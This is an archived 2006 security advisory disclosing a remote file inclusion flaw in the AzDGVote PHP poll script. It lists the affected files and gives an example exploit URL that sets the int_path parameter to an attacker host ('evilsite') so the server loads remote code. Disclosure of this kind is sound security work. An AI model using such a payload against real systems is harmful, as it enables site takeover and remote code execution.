OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
AzDGVote File inclusion

selfar2002hotmail.com
Date: Tue Apr 11 2006 - 17:03:20 CDT

AzDGVote File inclusion
---------------------------------
Site:http://www.azdg.com/
Demo:http://www.azdg.com/scripts/AzDGVote/vote.php?id=1

---------------------------------------
File inclusion

include $int_path."/AzDG.template.inc.php";

int_path parameter File inclusion

Aut File

vote.php,view.php,admin.php
and /admin/index.php

---------------------------------------
example

http://victim.com/poll/view.php?int_path=http://evilsite

-----------------------------------------
Discovered By SnIpEr_SA
E-mail:selfar2002hotmail.com,SnIpEr_SAbsdmail.org
Site: www.3asfh.com www.lezr.com